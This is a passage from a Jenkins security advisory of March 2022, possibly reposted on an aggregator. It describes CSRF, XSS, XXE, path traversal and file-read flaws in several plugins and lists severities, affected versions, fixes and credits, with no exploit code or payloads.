This allows attackers with Item/Read permission to change the owners and item-specific permissions of a job.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This CSRF vulnerability is only exploitable in Jenkins 2.286 and earlier, LTS 2.277.1 and earlier. See the LTS upgrade guide.

**CSRF vulnerability in Job and Node ownership Plugin**

**SECURITY-2062 (2) / CVE-2022-28152**  
**Severity (CVSS):** Medium  
**Affected plugin: ownership**  
**Description:**

Job and Node ownership Plugin 0.13.0 and earlier does not require POST requests for an HTTP endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.

This vulnerability allows attackers to restore the default ownership of a job.

**Stored XSS vulnerability in SiteMonitor Plugin**

**SECURITY-1932 / CVE-2022-28153**  
**Severity (CVSS):** High  
**Affected plugin: sitemonitor**  
**Description:**

SiteMonitor Plugin 0.6 and earlier does not escape URLs of sites to monitor in tooltips.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**XXE vulnerability in Coverage/Complexity Scatter Plot Plugin**

**SECURITY-1899 / CVE-2022-28154**  
**Severity (CVSS):** High  
**Affected plugin: covcomplplot**  
**Description:**

Coverage/Complexity Scatter Plot Plugin 1.1.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to control the input files for the 'Public Coverage / Complexity Scatter Plot' post-build step to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

**XXE vulnerability in Pipeline: Phoenix AutoTest Plugin**

**SECURITY-1897 / CVE-2022-28155**  
**Severity (CVSS):** High  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to control the input files for the readXml or writeXml build step to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

**Path traversal vulnerability in Pipeline: Phoenix AutoTest Plugin allows reading arbitrary files**

**SECURITY-2683 / CVE-2022-28156**  
**Severity (CVSS):** Medium  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier implements a Pipeline step (copy) to copy files from the running build’s directory on the Jenkins controller to an agent without sanitizing the path specified.

This allows attackers with Item/Configure permission to copy arbitrary files and directories from the Jenkins controller to the agent workspace.

**Arbitrary file read vulnerability in Pipeline: Phoenix AutoTest Plugin**

**SECURITY-2684 / CVE-2022-28157**  
**Severity (CVSS):** Medium  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier implements a Pipeline step (ftp) to upload files to an FTP server without limiting the source directory.

This allows attackers with Item/Configure permission to upload arbitrary files from the Jenkins controller via FTP to an attacker-specified FTP server.

**Missing permission checks in Pipeline: Phoenix AutoTest Plugin allow enumerating credentials IDs**

**SECURITY-2685 / CVE-2022-28158**  
**Severity (CVSS):** Medium  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**Stored XSS vulnerability in Tests Selector Plugin**

**SECURITY-2262 / CVE-2022-28159**  
**Severity (CVSS):** High  
**Affected plugin: selected-tests-executor**  
**Description:**

Tests Selector Plugin 1.3.3 and earlier does not escape the Properties File Path option for Choosing Tests parameters.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Arbitrary file read vulnerability in Tests Selector Plugin**

**SECURITY-2338 / CVE-2022-28160**  
**Severity (CVSS):** Medium  
**Affected plugin: selected-tests-executor**  
**Description:**

Tests Selector Plugin 1.3.3 and earlier allows users with Item/Configure permission to read arbitrary files on the Jenkins controller using the Choosing Tests parameter.

**Severity**

*   SECURITY-1892: High
*   SECURITY-1896: High
*   SECURITY-1897: High
*   SECURITY-1899: High
*   SECURITY-1932: High
*   SECURITY-2062 (1): Medium
*   SECURITY-2062 (2): Medium
*   SECURITY-2079: Low
*   SECURITY-2081: Medium
*   SECURITY-2082: Medium
*   SECURITY-2161: Low
*   SECURITY-2236: Medium
*   SECURITY-2241: Medium
*   SECURITY-2262: High
*   SECURITY-2285: High
*   SECURITY-2338: Medium
*   SECURITY-2633: Medium
*   SECURITY-2635: Medium
*   SECURITY-2639: High
*   SECURITY-2640: Medium
*   SECURITY-2654: Medium
*   SECURITY-2683: Medium
*   SECURITY-2684: Medium
*   SECURITY-2685: Medium

**Affected Versions**

*   **Bitbucket Server Integration Plugin** up to and including 3.1.0
*   **Continuous Integration with Toad Edge Plugin** up to and including 2.3
*   **Coverage/Complexity Scatter Plot Plugin** up to and including 1.1.1
*   **Flaky Test Handler Plugin** up to and including 1.2.1
*   **instant-messaging Plugin** up to and including 1.41
*   **JiraTestResultReporter Plugin** up to and including 165.v817928553942
*   **Job and Node ownership Plugin** up to and including 0.13.0
*   **Pipeline: Phoenix AutoTest Plugin** up to and including 1.3
*   **Proxmox Plugin** up to and including 0.5.0
*   **Proxmox Plugin** up to and including 0.6.0
*   **Proxmox Plugin** up to and including 0.7.0
*   **RocketChat Notifier Plugin** up to and including 1.4.10
*   **SiteMonitor Plugin** up to and including 0.6
*   **Tests Selector Plugin** up to and including 1.3.3

**Fix**

*   **Bitbucket Server Integration Plugin** should be updated to version 3.2.0
*   **Continuous Integration with Toad Edge Plugin** should be updated to version 2.4
*   **Flaky Test Handler Plugin** should be updated to version 1.2.2
*   **instant-messaging Plugin** should be updated to version 1.42
*   **JiraTestResultReporter Plugin** should be updated to version 166.v0cc6208295b5
*   **Proxmox Plugin** should be updated to version 0.6.0
*   **Proxmox Plugin** should be updated to version 0.7.0
*   **Proxmox Plugin** should be updated to version 0.7.1
*   **RocketChat Notifier Plugin** should be updated to version 1.5.0

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   Coverage/Complexity Scatter Plot Plugin
*   Job and Node ownership Plugin
*   Pipeline: Phoenix AutoTest Plugin
*   SiteMonitor Plugin
*   Tests Selector Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-1892, SECURITY-2062 (1), SECURITY-2062 (2), SECURITY-2081, SECURITY-2082, SECURITY-2683, SECURITY-2684, SECURITY-2685
*   **Daniel Beck, CloudBees, Inc. and, independently, Long Nguyen, Viettel Cyber Security, and Marc Heyries** for SECURITY-2079
*   **Jeff Thompson, CloudBees, Inc.** for SECURITY-1896, SECURITY-1897, SECURITY-1899
*   **Justin Philip** for SECURITY-2338
*   **Kevin Guerroudj** for SECURITY-2236, SECURITY-2262, SECURITY-2285
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2633, SECURITY-2635, SECURITY-2639, SECURITY-2640
*   **Marc Heyries** for SECURITY-2241
*   **Son Nguyen (@s0nnguy3n\_)** for SECURITY-2161
*   **Wadeck Follonier, CloudBees, Inc.** for SECURITY-1932

CVE-2022-28137: Jenkins Security Advisory 2022-03-29

A missing permission check in Jenkins Continuous Integration with Toad Edge Plugin 2.3 and earlier allows attackers with Overall/Read permission to check for the existence of an attacker-specified file path on the Jenkins controller file system.

CVE-2022-28147: Jenkins Security Advisory 2022-03-29

Jenkins Proxmox Plugin 0.5.0 and earlier stores the Proxmox Datacenter password unencrypted in the global config.xml file on the Jenkins controller where it can be viewed by users with access to the Jenkins controller file system.

CVE-2022-28141: Jenkins Security Advisory 2022-03-29

A cross-site request forgery (CSRF) vulnerability in Jenkins Proxmox Plugin 0.7.0 and earlier allows attackers to connect to an attacker-specified host using attacker-specified username and password (perform a connection test), disable SSL/TLS validation for the entire Jenkins controller JVM as part of the connection test (see CVE-2022-28142), and test a rollback with attacker-specified parameters.

CVE-2022-28143: Jenkins Security Advisory 2022-03-29

Jenkins Flaky Test Handler Plugin 1.2.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

CVE-2022-28140: Jenkins Security Advisory 2022-03-29

Jenkins Proxmox Plugin 0.6.0 and earlier disables SSL/TLS certificate validation globally for the Jenkins controller JVM when configured to ignore SSL/TLS issues.

Tag

#xss